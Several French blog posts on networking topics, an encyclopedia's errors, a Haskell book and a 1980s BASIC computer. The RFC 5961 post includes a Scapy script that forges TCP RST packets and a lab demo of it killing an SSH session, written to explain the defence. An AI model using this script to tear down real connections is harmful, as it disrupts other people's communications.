La section 3, plutôt descriptive que normative, décrit le mécanisme d'adressage à un point d'échange. Chaque RIR a sa politique pour l'allocation d'adresses IPv6 aux points d'échange. Ce sont typiquement des préfixes de longueur /48 qui sont alloués. Ces adresses ont besoin d'être résolvables en nom par le DNS et de pouvoir être trouvées dans la base des RIR via whois. Donc, un point d'échange n'utilise pas les ULA du RFC 4193. (Voyez par exemple les adresses IP allouées sur FranceIX.)

Par raport à un réseau local IPv6 typique, il faut aussi noter que l'autoconfiguration des adresses pa l'envoi de RA (Router Advertisement) n'est typiquement pas utilisée. La configuration des routeurs est faite manuellement puisque, de toute façon, la configuration de BGP dépend de l'adresse. Puisqu'on n'utilise pas l'autoconfiguration, que mettre dans les 64 bits les plus à droite ? En IPv4, les routeurs à un point d'échange sont en général numérotés séquentiellement mais l'espace d'adressage bien plus grand d'IPv6 permet des plans d'adressage plus informatifs. Il existe plusieurs mécanismes acceptables :

  • Encoder le numéro d'AS en décimal dans les 64 bits. Ainsi, si le point d'échange utilise le préfixe 2001:db8:f00f::/64 et qu'un opérateur connecté a le numéro d'AS 64496, son adresse IP sera 2001:db8:f00f::6:4496:1 (le 1 tout à fait à droite vient de la réservation des 16 derniers bits pour mettre plusieurs routeurs par opérateur connecté, si nécessaire).
  • Certains préfèrent l'hexadécimal, moins lisible mais plus compact, donc ici 2001:db8:f00f::fbf0:1.
  • Une autre méthode est de dériver l'adresse IPv6 de la v4. donc un routeur qui aurait 192.0.2.123 en v4 recevra 2001:db8:f00f::123 en v6 (ce n'est qu'un exemple, le RFC en cite un autre, qui permet des points d'échange de plus de 256 routeurs, contrairement à mon choix de ne garder que le dernier octet).
  • etc (d'autres méthodes sont possibles).

Ces adresses IP du point d'échange doivent-elles être routées globalement ? Le débat a toujours fait rage pour IPv4 et n'est pas différent ici. Les adresses routées globalement facilitent la configuration et le déboguage mais peuvent rendre le point d'échange plus vulnérable à certaines attaques. Si on ne route pas globalement ces adresses, les participants au point d'échange peuvent toujours le faire eux-même dans leur réseau, en prenant soin d'utiliser des méthodes comme la communauté no-export de BGP, pour éviter que les annonces des routes vers le point d'échange ne se propagent trop loin. Enfin, le point d'échange a aussi des services publics (pages Web, serveur DNS, serveurs NTP, etc) et ceux-ci doivent évidemment être installés sur des adresses routables, que ce soit dans le même préfixe que celles des routeurs des participants ou bien dans un préfixe différent.

Une des particularités d'un point d'échange est que les routeurs qui y sont présents appartiennent à des organisations différentes, souvent concurrentes. Le réseau Ethernet partagé n'est donc pas forcément peuplé que par des gentils paquets, on y trouve un peu de tout, des annonces OSPF aux serveurs DHCP illicites... La section 4 mentionne ce problème et ses conséquences pour la sécurité et note que le gérant du point d'échange peut, par exemple, limiter l'utilisation de la diffusion (qui sont transmis à tous) aux paquets de découverte des voisins (RFC 4861. En tout cas, bloquer les paquets Router Advertisement (qui ne devraient jamais apparaître sur le réseau du point d'échange) est conseillé.

Tiens, puisqu'on a parlé du DNS, la section 5 lui est consacrée. Elle recommande que les adresses IP du point d'échange aient un enregistrement « inverse » (enregistrement PTR) dans le DNS, pour faire de plus jolis traceroute et, de manière générale, pour faciliter le déboguage.

Un autre service très populaire sur les points d'échange est le serveur de routes, discuté en section 6. Il sert parfois à échanger réellement des routes entre pairs, et parfois simplement de looking glass. Voir par exemple le looking glass du DE-CIX. Notre RFC recommande qu'il soit accessible en IPv6 mais surtout qu'il gère les extensions à BGP des RFC 2545 et RFC 4760, qui permettent de gérer plusieurs familles d'adresses IP, donc de gérer des routes IPv6. Une autre recommandation est que les routes IPv6 soient échangées sur des sessions IPv6 (ce qui n'est pas obligatoire avec BGP), pour améliorer la cohérence de l'information de routage (si un pair BGP reçoit des informations sur IPv6, il peut être sûr que le pair qui lui annonce des routes IPv6 est lui-même effectivement joignable par ce protocole).

Enfin, la section 7 traite les cas « divers ». Par exemple, un des points peu spectaculaire, mais souvent critique, d'une transition vers IPv6 est l'adaptation des systèmes d'avitaillement (la base de données qui stocke les adresses des participants au point d'échange...) : ces systèmes doivent eux aussi être migrés de manière à pouvoir gérer des adresses IPv6.

La section 8 couvre le cas des politiques d'accès au point d'échange. Les règles d'utilisation doivent bien préciser si le contrat concerne seulement IPv4, seulement IPv6 ou bien les deux. Je me souviens, il y a quelques années (les choses ont peut-être changé depuis) que le contrat avec le Sfinx ne couvrait qu'IPv4 (alors que l'organisme qui gère le Sfinx se vantait de son rôle pionnier en IPv6) et qu'il fallait une paperasserie longue et compliquée pour pouvoir faire de l'IPv6. Notez que notre RFC ne formule pas de recommandation précise sur la politique idéale. Pour moi, le contrat devrait couvrir IP, quelle que soit sa version, car il n'existe aucune justification opérationnelle pour traiter IPv6 comme un « plus », imposant un contrat nouveau.

Pour un bon survol des points d'échange IPv6, voir https://prefix.pch.net/applications/ixpdir/summary/ipv6/.


Téléchargez le RFC 5963


L'article seul

Les belles erreurs de l'Encyclopædia Universalis

Première rédaction de cet article le 29 août 2010


Comme il y a encore des gens (de plus en plus rares) qui prétendent, contre toute évidence, que les encyclopédies traditionnelles comme l'Encyclopædia Universalis sont plus fiables et mieux vérifiées qu'une encyclopédie collaborative comme Wikipédia, je publie ici la lettre que j'ai envoyée le 24 juin à l'Encyclopædia Universalis, à propos des erreurs dans leur article sur Internet.

L'Encyclopædia Universalis n'est pas consultable librement en ligne. Donc, je ne peux pas dire si l'article a été corrigé. En tout cas, je n'ai jamais reçu de réponse. Voici quelles étaient mes remarques au sujet de http://www.universalis-edu.com/encyclopedie/internet-les-applications/ (l'abonnement est payant donc cet URL ne marchera que si vous êtes abonné).

Un ami m'a fait lire l'article http://www.universalis-edu.com/encyclopedie/internet-les-applications/. Il contient des erreurs plutôt sérieuses. Je ne cite que les trois premières :

  • Le TLD espagnol est .ES pas .SP.
  • Dire que « RIPE-NCC (Réseaux IP européens-Network Coordination Center) a reçu de l'I.C.A.N.N. la gestion des noms de domaine pour l'Europe. » est complètement faux. Le RIPE-NCC gère les adresses IP et n'a pas d'activité sur les noms de domaine. Des énormités pareilles ne vont pas aider les lecteurs à comprendre les délicats rouages de la gouvernance d'Internet. Le seul élément de vérité est le fait que, il y a une quinzaine d'années, avant donc la création de l'ICANN, le RIPE-NCC avait participé à la gestion de certains TLD européens. Ce n'est plus le cas depuis longtemps (et, de toute façon, cela n'a rien à voir avec l'ICANN).
  • « La référence MIME (multi purpose mail extension, RFC 822) » Ce vieux RFC est antérieur à MIME de dix ans ! MIME a été normalisé dans le RFC 1341 en juin 1992. Il est pourtant facile de vérifier l'index des RFC :-(

La lecture de cet article donne à penser qu'il a été rédigé par des gens qui ne connaissaient pas le sujet et, pire, qu'il n'a pas été relu par des experts. Compte-tenu du sérieux de ces erreurs, je compte sur une prompte correction, qui montrerait que les encyclopédies traditionnelles apportent réellement un plus par rapport à Wikipédia.

Voici ce que j'avais écrit à l'Encyclopædia Universalis, via leur formulaire de contact en ligne, et qui n'a jamais reçu de réponse. Notez bien que j'ai arrêté ma lecture très vite, après trois erreurs aussi énormes. D'autres attendaient certainement derrière.

Ces erreurs sont-elles graves ? Pas forcément mais elles montrent une extrême négligence. Par exemple, donner comme exemple de TLD .SP pour l'Espagne montre à la fois une grande paresse (rien n'est plus facile que de vérifier la liste des TLD) et un manque de familiarité avec les noms de domaine (ce qui n'est pas grave pour l'internaute lambda mais est bien plus sérieux lorsqu'on prétend faire une encyclopédie de référence).

Même chose pour l'erreur sur MIME : rien n'était plus facile que de vérifier le RFC 822 et de voir qu'il ne disait pas un mot de MIME.

Et, surtout, si l'erreur est humaine, ne pas corriger les problèmes signalés est quoi ?


L'article seul

RFC 5961: Improving TCP's Robustness to Blind In-Window Attacks

Date de publication du RFC : Août 2010
Auteur(s) du RFC : A. Ramaiah (Cisco Systems), R. Stewart (Huawei), M. Dalal (Cisco Systems)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 27 août 2010
Dernière mise à jour le 10 août 2016


Le protocole TCP, à la base de la grande majorité des transferts de données sur l'Internet, souffre depuis longtemps de plusieurs vulnérabilités. L'une d'elles est sa susceptibilité à des attaques par injection de faux paquets, qui ne proviennent pas d'une des deux extrémités de la connexion TCP. Un sous-ensemble de ces attaques, les attaques en aveugle, concerne les cas où l'attaquant n'est même pas sur le chemin entre les deux extrémités (on dit qu'il est off-path) et doit deviner les numéros de séquence TCP pour que ses faux paquets soient acceptés. Ce nouveau RFC expose le problème et des moyens d'en limiter les effets.

Le problème des attaques en aveugle était traditionnellement considéré comme de peu d'importance. En effet, pour que le paquet injecté soit accepté comme légitime, il devait reproduire adresses IP source et destination, ports source et destination et un numéro de séquence situé dans la fenêtre. (Le concept de numéro de séquence TCP est décrit dans le RFC 793, section 3.3. Chaque octet transmis a un numéro de séquence et, à un moment donné, seule une plage de numéros, la fenêtre, est acceptable, car envoyée mais non encore reçue et validée.) À partir du moment où le numéro de séquence initial est choisi de manière non prédictible (ce qui n'a pas toujours été le cas, cf. RFC 6528, mais est désormais fait dans toutes les mises en œuvre de TCP), un attaquant aveugle, qui ne peut pas sniffer le réseau, n'a guère de chance de deviner juste et donc de fabriquer un faux qui soit accepté. (Voir le RFC 4953 pour les détails sur les attaques contre TCP.)

Mais les choses changent. En raison de l'augmentation de capacité des réseaux, les fenêtres TCP voient leur taille accrue, améliorant les chances de l'attaquant. Et certaines sessions TCP sont très longues (par exemple avec BGP ou avec H.323), avec des adresses IP et des ports prévisibles. En profitant de ces faiblesses, un attaquant peut alors voir ses faux paquets acceptés, et effectuer ainsi des DoS (si le faux paquet est un RST, qui coupe la connexion) ou modifiant les données (si le faux paquet contient des données).

La section 1 du RFC résume ce problème, aggravé par des implémentations comme celles de BGP qui utilisent souvent des ports prévisibles des deux côtés (même du côté client, où ce n'est pas obligatoire). La section 1.2 décrit en détail comment conduire une telle attaque, en prenant l'exemple d'une attaque RST, visant à couper des connexions TCP. La principale difficulté pour l'attaquant est que le numéro de séquence du paquet portant le bit RST doit se situer dans la fenêtre de réception actuelle (mais, bien sûr, l'attaquant a le droit d'injecter plusieurs paquets, pour essayer plusieurs fenêtres potentielles). Les chances du succès du méchant dépendent donc de la taille de la fenêtre. Elle est en général assez facile à déterminer (et cela donne une bonne idée du nombre d'essais qu'il faudra faire). Une fois qu'il a une idée du numéro de séquence utilisé, l'attaquant peut alors commencer à envoyer des paquets RST, incrémentant le numéro de séquence par la taille de la fenêtre, à chaque nouvel essai. Au bout d'un moment, il a de fortes chances de tomber juste. Les calculs complets se trouvent dans l'article de Watson, « Slipping in the Window: TCP Reset attacks, Presentation at 2004 CanSecWest » et la question est également traitée dans le RFC 4953. La section 1.3 de notre RFC contient également ces calculs de probabilité de réussite.

Le fait que l'attaquant puisse , selon les règles du RFC 793, utiliser n'importe quel numéro de séquence situé dans la fenêtre de réception lui facilite la tâche (en moyenne, seulement 2^31/$WindowSize essais). Changer TCP pour n'accepter les RST que si le numéro de séquence est exactement celui attendu protégerait sérieusement, obligeant l'attaquant à bien plus d'essais (2^31 en moyenne). Sans ce changement, avec une fenêtre typique de 32 768 octets, 65 536 paquets suffisent pour une attaque réussie, en moyenne. Et les tailles des fenêtres tendent à augmenter, en raison de l'augmentation de capacité des réseaux, ce qui rend l'attaque de plus en plus facile.

Voici d'ailleurs un exemple d'attaque menée avec un programme en Python utilisant l'excellente bibliothèque Scapy, qui permet de fabriquer facilement des paquets IP de son goût. Ici, je triche un peu en me connectant sur la machine visée, pour relever numéro de port et numéro de séquence. Dans une attaque réelle, le méchant devrait faire une boucle qui essaie toutes les valeurs possibles. Je ne l'ai pas fait ici car je ne veux pas faciliter la tâche des script kiddies et, de toute façon, Scapy est bien trop lent pour cela (n'oubliez pas que le numéro de séquence se modifie sans cesse donc un attquant lent a peu de chances). Mon but est de montrer cette attaque en pratique, pas de fournir un outil de coupure des sessions TCP. Voici donc le programme :

#!/usr/bin/env python

# Good readings:
# http://www.packetstan.com/2010/06/scapy-code-for-bad-ack-reset.html
# http://www.sans.org/reading_room/whitepapers/testing/taste-scapy_33249

from scapy import *
# Recent Scapys:
#from scapy.all import * 
import random
import sys

if len(sys.argv) != 6:
    sys.stderr.write("Usage: %s src-ip src-port dst-ip dst-port seq-number\n" % sys.argv[0])
    sys.exit(1)
ip_src = sys.argv[1]
ip_dst = sys.argv[3]
port_src = int(sys.argv[2])
port_dst = int(sys.argv[4])
seq_n = int(sys.argv[5])

ip=IP(src=ip_src, dst=ip_dst)
reset=TCP(flags="R", sport=port_src, dport=port_dst, seq=seq_n)
send(ip/reset, verbose=1) 

Ce code génère un paquet TCP portant l'option 'R' (Reset). Ici, la victime va être un PC sous Ubuntu, avec le noyau Linux 2.6.31. 192.168.2.25 se connecte en SSH (port 22) vers 192.168.2.7. Un tcpdump sur 192.168.2.25 nous montre le port source (42696) et le numéro de séquence (1307609026, n'oubliez pas l'option -S pour avoir le numéro de séquence brut et pas un numéro renormalisé) :

22:27:28.264874 IP 192.168.2.7.22 > 192.168.2.25.42696: \
         Flags [P.], seq 1307608946:1307609026, ack 3382006564, win
	 4197, \
         options [nop,nop,TS val 169 ecr 68744645], length 80

Je lance le programme d'attaque, sur une machine tierce :

% sudo python reset-one-tcp.py 192.168.2.7 22 192.168.2.25  42696 1307609100
.
Sent 1 packets.

tcpdump montre le faux paquet arrivant :

22:28:51.519376 IP 192.168.2.7.22 > 192.168.2.25.42696: Flags [R], seq 1307609100, win 8192, length 0

et la session SSH est coupée :

Read from remote host 192.168.2.7: Connection reset by peer
Connection to 192.168.2.7 closed.

Notez que je n'ai pas utilisé le numéro de séquence exact, j'ai ajouté 84, pour illustrer le fait qu'il suffit de taper dans la fenêtre, pas forcément pile au bon endroit. Si on veut maintenant adapter ce programme pour une vraie attaque en aveugle, on ne connait pas en général le port source, ni le numéro de séquence (les deux derniers paramètres de la commande reset-one-tcp.py) et il faut donc ajouter deux boucles et envoyer beaucoup de paquets.

Il existe bien sûr d'autres protections (que l'obligation d'avoir le numéro de séquence) exact contre cette attaque, variables en coût et en complexité. IPsec, l'authentification TCP-AO du RFC 5925, etc. Des ports source choisis de manière réellement aléatoire aident aussi.

Les sections suivantes décrivent en détail les différentes possibilités d'une attaque en aveugle, ainsi que les méthodes à utiliser pour les rendre moins efficaces. Ainsi, la section 3 décrit les attaques utilisant le bit RST (ReSeT) du paquet TCP. Le RFC 793 (section 3.4) précise que la connexion doit être coupée lorsqu'un paquet portant ce bit est reçu (si le numéro de séquence est bien dans la fenêtre). Une mise en œuvre correcte de TCP est donc vulnérable à des paquets envoyés en aveugle, si l'attaquant peut trouver un bon numéro de séquence. Comment limiter les risques de ce déni de service ? La section 3.2 de notre RFC décrit le mécanisme suggéré, remplaçant l'algorithme du RFC 793 : ne couper la connexion que si le paquet entrant a pile le bon numéro de séquence. Si le numéro n'est pas celui attendu, mais figure néanmoins dans la fenêtre, envoyer un accusé de réception. Puisque l'attaquant aveugle ne pourra pas le recevoir, il ne pourra pas confirmer le reset (contrairement au pair légitime, qui recevra l'accusé de réception et, ayant coupé la connexion de son côté, renverra un RST qui sera, lui, accepté, puisque son numéro de séquence correspondra audit accusé). Un tel algorithme complique donc nettement les choses pour l'attaquant. Son principal inconvénient est qu'un RST légitime, mais qui n'a pas pile le bon numéro de séquence (par exemple parce que le paquet précédent a été perdu) ne coupera pas la session TCP légitime, il faudra attendre la confirmation.

Voici une illustration de ce principe en prenant cette fois comme victime un système NetBSD (noyau 5.0.1). On garde le même programme, 192.168.2.25 se connecte toujours à 192.168.2.7 mais, cette fois, on va diriger les paquets Reset vers 192.168.2.7. Relevons, avec tcpdump, port (55854) et numéro de séquence (1901397904) :

22:35:12.306829 IP 192.168.2.25.55854 > 192.168.2.7.22: P 1901397856:1901397904(48) \
     ack 3669275671 win 347 <nop,nop,timestamp 68860664 86>

Et attaquons en tapant un peu au-dessus du bon numéro de séquence :

% sudo python reset-one-tcp.py 192.168.2.25 55854  192.168.2.7 22 1901397909
.
Sent 1 packets.

Le résultat est :

22:36:41.508530 IP 192.168.2.25.55854 > 192.168.2.7.22: \
         R 1901397909:1901397909(0) win 8192
22:36:41.508559 IP 192.168.2.7.22 > 192.168.2.25.55854: \
         . ack 1901397904 win 4197 <nop,nop,timestamp 368 68860664>

On voit le paquet d'attaque et le ACK de confirmation, disant « Ah, tu m'a envoyé un RST pour l'octet 1901397909 mais j'attendais le 1901397904 ». Le vrai pair ne va évidemment pas confirmer le ReSeT et l'attaque échoue. (Si on envoie pile le bon numéro de séquence, l'attaque réussit quand même. Mais elle est bien plus dure pour l'attaquant, qui ne peut pas profiter de la taille de la fenêtre.)

Et si l'attaquant met le bit SYN (SYNchronize) à un ? La section 4 rappelle qu'une fois la connexion TCP établie, un paquet portant ce bit, toujours si le numéro de séquence figure dans la fenêtre, va couper la connexion. La section 4.2 demande donc que, pour tout paquet SYN reçu après l'établissement initial de la connexion, quel que soit son numéro de séquence, on envoie un accusé de réception. L'attaquant aveugle ne le verra pas et ne pourra pas confirmer. Le pair légitime qui avait envoyé un SYN (ce qui ne devrait pas arriver en temps normal et signifie probablement que le pair avait perdu tout souvenir de la connexion, par exemple suite à un redémarrage) enverra alors un RST puisque, pour lui, la session n'est pas ouverte.

Les deux attaques précédentes (RST et SYN) étaient des dénis de service. Mais on peut imaginer une attaque bien pire où le méchant réussit à injecter de fausses données dans une connexion TCP. Elle fait l'objet de la section 5. Si le méchant peut trouver un numéro de séquence dans la fenêtre, ses paquets de données seront acceptés et pourront être présentés à l'application qui utilise TCP (le succès effectif de l'attaque dépend d'un certain nombre de points, et peut dépendre de la mise en œuvre de TCP utilisée).

Pour contrer cette attaque, la section 5.2 demande de durcir les conditions d'acceptation des paquets de données. Davantage de paquets légitimes seront donc rejetés, afin de pouvoir compliquer la vie de l'attaquant.

À noter (section 6) que les recommandations des trois précédentes sections ne sont pas formulées avec la même force. Utilisant le vocabulaire du RFC 2119, les deux premières sont des fortes recommandations (SHOULD) et la troisième seulement une suggestion (MAY). En effet, une injection de données par un attaquant est bien plus difficile (car les vraies données finiront par arriver, avec un numéro de séquence légèrement différent, ce qui peut mener TCP à refuser soit les fausses, soit les vraies) et ne justifie donc pas d'imposer des contre-mesures qui peuvent mener au rejet de paquets légitimes.

Dernier conseil, celui de la section 7, la nécessité de limiter la quantité d'accusés de réception (ACK) émis. Avec les contre-mesures des sections 3 à 5, le nombre de paquets ACK va augmenter. La section 7 suggère donc de les limiter, par exemple à dix ACK de confirmation pour toute période de cinq secondes (et que ces chiffres soient réglables par l'administrateur système, variable sysctl net.ipv4.tcp_challenge_ack_limit sur Linux).

On notera que le RFC ne précise pas que le compteur du limiteur doit être par connexion (comme dans le RFC 6528). Résultat, au moins chez Linux, c'est un compteur global, ce qui peut servir à communiquer des informations cruciales pour aider l'attaquant (vulnérabilité CVE-2016-5696, décrite dans l'article « Off-Path TCP Exploits: Global Rate Limit Considered Dangerous »). Deux leçons à en tirer : la sécurité, c'est difficile (corriger une bogue peut en ajouter d'autres) et la limitation de trafic, parce qu'elle change le trafic (évidemment), peut avoir des conséquences imprévues. Un nouvel Internet-Draft a été proposé, discutant de ce problème et des solutions.

En attendant, un truc possible pour limiter les dégâts de cette faille sur Linux serait de faire :

echo $RANDOM > /proc/sys/net/ipv4/tcp_challenge_ack_limit

mais de le faire souvent : l'attaque peut prendre bien moins d'une minute. (Je n'ai pas testé ce truc, dû à x0rz.) Une solution analogue (avoir une limite variant de manière aléatoire) est dans un patch du noyau Linux.

Les recommandations de notre RFC 5961 modifient légèrement le protocole TCP. Cela nécessite donc une section 8, décrivant les problèmes de compatibilité qui peuvent se poser entre deux mises en œuvre de TCP, l'une conforme à notre nouveau RFC 5961, l'autre plus ancienne. Normalement, les modifications du protocole sont 100 % compatibles avec le TCP existant. La section 8 décrit toutefois un cas limite où la coupure d'une connexion nécessitera un aller-retour supplémentaire.

D'autre part, le succès complet des contre-mesures décrites dans ce RFC impose qu'elles soient déployées des deux côtés. Une mise en œuvre moderne de TCP parlant à un vieux pair ne fournirait pas une protection complète.

Dernier problème avec les nouveaux algorithmes : le cas des middleboxes, ces équipements qui se mettent sur le trajet de deux machines IP qui communiquent et qui brisent souvent la transparence du réseau (par exemple les pare-feux). La section 9 examine les problèmes qu'elles peuvent poser. Par exemple, certains équipements ré-envoient le RST pour le compte du vrai pair TCP (section 9.1) et, s'ils ne mettent pas en œuvre les recommandations de ce RFC, peuvent ne pas traiter correctement le ACK de demande de confirmation. Ce genre de problèmes survient souvent lorsqu'une middlebox est « ni chair, ni poisson », ni un pur routeur transparent aux paquets de la couche 4 (TCP), ni un vrai pair TCP. Autre exemple cité (section 9.3), un équipement intermédiaire qui, en voyant passer le RST, supprimerait toute l'information associée à cette connexion TCP. Le ACK de demande de confirmation pourrait alors être jeté, et ne recevrait donc pas de réponse, laissant ainsi une connexion TCP ouverte.

Enfin, la traditionnelle section « Security Considerations » (section 10) synthétise l'ensemble des questions liées à ces contre-mesures. Elle rappelle notamment que le problème traité par ce RFC ne concerne que les attaques en aveugle, typiquement lorsque l'attaquant n'est pas sur le chemin des paquets. S'il l'est, par exemple si l'un des deux pairs TCP est sur un réseau Wi-Fi public, les contre-mesures des sections 3 à 5 ne s'appliquent pas, car elles peuvent facilement être contournées par un attaquant en mesure de regarder les paquets, et de voir quel est le numéro de séquence à utiliser. Ce fut le cas par exemple dans les attaques menées par Comcast contre ses propres clients ou bien dans celles perpétrées par la dictature chinoise.

Même dans le cas d'une attaque en aveugle, les contre-mesures de notre RFC n'empêchent pas l'attaque, elles la rendent simplement beaucoup plus difficile. Un attaquant chanceux peut donc encore réussir, même contre des implémentations de TCP parfaitement à jour. La section 10 rappelle (vœu pieux) que la seule vraie protection serait de généraliser IPsec (par exemple avec l'ESP du RFC 4303).

D'autre part, ce RFC 5961 ne traite que les attaques faites uniquement avec TCP mais ICMP fournit aux attaquants aveugles d'autres possibilités (traitées dans le RFC 5927). Une mise en œuvre sérieuse de TCP doit donc traiter également ces attaques ICMP.

Aucun médicament n'est sans effet secondaire et c'est également le cas ici. Les contre-mesures de notre RFC peuvent créer des possibilités d'attaque par réflexion, si l'attaquant déguise son adresse IP : des paquets comme l'ACK de demande de confirmation seront alors envoyés à un innocent. Le RFC estime ce problème peu grave car il n'y a pas amplification : l'attaquant pourrait donc aussi bien viser directement la victime.


Téléchargez le RFC 5961


L'article seul

Un exemple de panne amusante de tcpdump

Première rédaction de cet article le 26 août 2010


Voici un cas rigolo qui m'est arrivé hier. Soit une machine Debian/Linux où les programmes de capture de paquets (comme tcpdump) tout marchaient autrefois. Tout à coup, plus aucun filtre BPF ne trouve un seul paquet...

tcpdump sans argument donne le résultat attendu :

% sudo tcpdump -i eth1 -n
12:36:40.723290 IP 193.243.207.47.31619 > 192.93.0.129.53: 40691 [1au] MX? doublev.fr. (39)
12:36:40.723440 IP 192.93.0.129.53 > 193.243.207.47.31619: 40691- 0/2/3 (112)
12:36:40.723480 IP 212.96.9.225.2123 > 192.93.0.129.53: 46420+ MX? fema.fr. (25)
12:36:40.723634 IP 192.93.0.129.53 > 212.96.9.225.2123: 46420- 0/2/0 (81)
...

Mais aucun filtre BPF ne trouve ne serait-ce qu'un seul paquet. Dès que je mets comme argument port 53, ou udp ou même ip, je n'ai plus aucun paquet. Par contre, les filtres not ip ou bien not port NN (pour n'importe quelle valeur de NN) me montrent le trafic... Le problème affecte tous les programmes utilisant la libpcap, pas seulement tcpdump.

La machine a deux interfaces dont une seule a ce problème (sur l'autre, même puce donc même driver, tcpdump marche bien). L'interface à problème n'est pas utilisée par la machine elle-même, elle reçoit du trafic uniquement par port mirroring.

Si j'enregistre les paquets avec l'option -w et que je tente de relire avec un filtre, zéro réponse :

% tcpdump -n -r /tmp/tcpdump-eth1.pcap | wc -l
reading from file /tmp/tcpdump-eth1.pcap, link-type EN10MB (Ethernet)
5722

% tcpdump -n -r /tmp/tcpdump-eth1.pcap ip | wc -l
reading from file /tmp/tcpdump-eth1.pcap, link-type EN10MB (Ethernet)
0

Utiliser l'option -O (ne pas optimiser le code BPF) ne change rien. Vider les caches ou même redémarrer la machine, au cas où un rayon cosmique aie corrompu la mémoire ne change rien non plus.

Arrivé là, voyez si vous avez trouvé la solution...

Mon collègue Antonio Kin-Foo a trouvé. La configuration réseau avait été refaite et le commutateur Ethernet Foundry trouvait drôle de désormais taguer les paquets. C'est ce que montrait tcpdump si on utilise l'option -e (afficher la couche 2). Au lieu de « ethertype IPv4 (0x0800) » pour des paquets IPv4, on voyait « ethertype 802.1Q (0x8100) ». Lorsque les paquets sont ainsi tagués, tcpdump sait se débrouiller dans certains cas (il formatait correctement les paquets) mais pas dans d'autres (définition du filtre). D'autre part, si l'encapsulation/décapsulation VLAN est gérée par le matériel de la carte ou par le système d'exploitation, parfois tcpdump n'a plus de problèmes puisqu'il ne voit plus le tag 802.1Q.

Le bon moyen est de rajouter pour réparer le filtre est d'ajouter vlan and. Par exemple, pour les paquets DNS :

tcpdump -n -i eth1 vlan and port 53

J'ai dû aussi modifier le code de l'outil que j'utilisais pour analyser les paquets. Quelque chose du genre (en C) :

        size_layer2 = SIZE_ETHERNET;
        ethernet = (struct sniff_ethernet *) (packet);
        ethertype = ntohs(ethernet->ether_type);
        if (ethertype == VLAN_ETHERTYPE) {  /* NEW: if the packets are
	tagged, move four bytes forward */
            packet += 4;
            ethernet = (struct sniff_ethernet *) (packet);
            ethertype = ntohs(ethernet->ether_type);
        }
        if (ethertype == IPv6_ETHERTYPE) {
            ip_version = 6;
        } else if (ethertype == IPv4_ETHERTYPE) {
            ip_version = 4;
        } else {                /* Ignore other Ethernet types */
            goto next_packet;
        }

L'article seul

Fiche de lecture : Real world Haskell

Auteur(s) du livre : Bryan O'Sullivan, John Goerzen, Don Stewart
Éditeur : O'Reilly
978-0-596-51498-3
Publié en 2009
Première rédaction de cet article le 26 août 2010


Les langages de programmation fonctionnels ont la réputation d'être uniquement utilisés pour des problèmes mathématiques abstraits et jamais pour des vrais programmes dans le vrai monde avec des vrais utilisateurs. Il existe plusieurs livres pour apprendre Haskell mais celui-ci a un angle original, exposé dans le titre : utiliser Haskell pour des problèmes « réels ».

Donc, finis les exemples empruntés aux maths. Ce livre montre comment utiliser Haskell pour analyser du JSON, pour faire un programme de recherche dans le système de fichiers, un analyseur de fichiers PGM, un analyseur de code-barres, pour finir avec un client Web et un filtre de Bloom (note pour ceux qui ont lu le code source de Squid : ce programme utilise de tels filtres).

Tout l'attirail de Haskell est expliqué (les monades, l'évaluation paresseuse, map/fold, etc) mélé aux interfaces vers le monde réel (bases de données, analyse syntaxique, etc).

Une lecture recommandée pour tous les programmeurs, même ceux qui n'envisagent pas d'utiliser Haskell, cela leur ouvrira les idées.

Le livre a aussi un excellent site Web qui permet de tout lire en ligne. Le livre avait d'ailleurs été écrit suite à un intense processus collaboratif en ligne et les exemples ont été choisis et relus ainsi.


L'article seul

Ré-apprenons le BASIC pendant les vacances

Première rédaction de cet article le 25 août 2010


Dans un grenier, j'ai mis la main sur un manuel de 1984, « Une merveille de simplicité / ALICE / Découvrez le Basic » coédité par Matra et Hachette avec une préface de Jean-Luc Lagardère, dirigeant à l'époque des deux entreprises. Le manuel documentait le micro-ordinateur ALICE, de Matra (en fait, fabriqué par Tandy). L'ALICE était muni en ROM d'un BASIC de Microsoft.

Ce BASIC était d'ailleurs son seul shell. Toute interaction avec la machine passait par des commandes BASIC. Le langage était vraiment minimum (même une technique aussi simple que l'indentation pour améliorer la lisibilité des programmes n'existait pas). De mes activités BASIC de l'époque, je ne me souvenais clairement que du fait qu'une variable stockait un nombre, sauf si son nom était suivi d'un $, indiquant que la variable stockait une chaîne de caractères. J'ai révisé le reste : le GOTO était largement utilisé pour presque tout (il y avait quand même des sous-programmes, se terminant par RETURN, et des vraies boucles avec FOR). La seule méthode d'analyse présentée était l'organigramme. Les programmes étaient stockés sur un mécanisme séquentiel, une simple cassette de magnétophone (instructions CSAVE et CLOAD).

L'ordinateur était à la hauteur de ce langage, avec un microprocesseur 6803, 16K de RAM (le manuel que j'ai lu documente la seconde version de l'ALICE, la première avait encore moins), et pas d'écran : il fallait le connecter à son téléviseur familial via le classique câble Péritel.

Heureuse époque où il ne faisait pas de doute que tout le monde devrait apprendre un minimum de programmation pour pouvoir se servir d'un ordinateur ! Le manuel, plutôt bien fait pourtant, est intarissable sur les détails pratiques (du genre, comment allumer un point vert sur l'écran, avec SET(X, Y, 1), 1 étant le vert), moins disert sur la méthodologie et l'analyse, et complètement muet sur les applications réalistes possibles (les exemples donnés sont essentiellement des jeux vidéos ultra-simples). Le manuel de l'ALICE servait à la fois d'introduction à une machine, à un langage et à la programmation en général, bien trop de choses pour 204 pages. Vu le caractère très sommaire du langage et de son environnement, vue l'absence complète du concept de bibliothèque, pas étonnant que l'ALICE n'ait pas nourri un grand nombre de vocations de programmeur.

Pire, comme l'ordinateur ne disposait pas de connexion au réseau, et que la seule possibilité d'échange de programmes passe par le magnétophone, les efforts des uns ne pouvaient pas servir aux autres : chacun était condamné à réinventer son Nième programme de gestion d'hôtel (un des exemples donnés). Pourtant, à la même époque, Unix disposait déjà d'une large bibliothèque de programmes que ses utilisateurs s'échangeaient, via Internet ou UUCP.

Où en est-on aujourd'hui ? On est plutôt passé à l'extrême opposé : la programmation est vue comme un repoussoir (cf. la publicité d'Apple associant l'apprentissage de la programmation à celle de l'alphabet Morse) et on demande surtout à l'utilisateur de ne rien faire d'autre que cliquer sur des endroits pré-définis.

